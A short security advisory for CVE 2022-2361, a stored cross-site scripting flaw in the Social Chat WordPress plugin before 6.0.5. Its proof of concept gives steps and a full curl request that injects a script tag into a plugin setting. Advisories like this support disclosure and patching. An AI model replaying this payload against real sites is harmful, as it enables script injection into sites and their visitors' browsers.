Social Chat < 6.0.5 – Admin+ Stored Cross-Site Scripting | CVE 2022-2361

Description

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks.

Proof of Concept

- As a logged-in administrator, visit http://vulnerable-site.tld/wp-admin/admin.php?page=qlwapp_scheme
- Grab the "qlwapp_scheme_form_nonce" nonce (search for it in the page's source).
- Run the following cURL request:

curl --url 'http://vulnerable-site.tld/wp-admin/admin-ajax.php' --data 'action=qlwapp_save_scheme&nonce=THE_NONCE&form_data=font-family%3Dinherit%26font-size%3D18%26brand%3D%2523666666</style><script>alert(1)</script>%26text%3D%26link%3D%26message%3D%26label%3D%26name%3D%26qlwapp_scheme_form_nonce%3D1537a512c1%26_wp_http_referer%3D%252Fblog%252Fwp-admin%252Fadmin.php%253Fpage%253Dqlwapp_scheme' -b 'YOUR COOKIES'

- After that, visit the WordPress site and the javascript code will get executed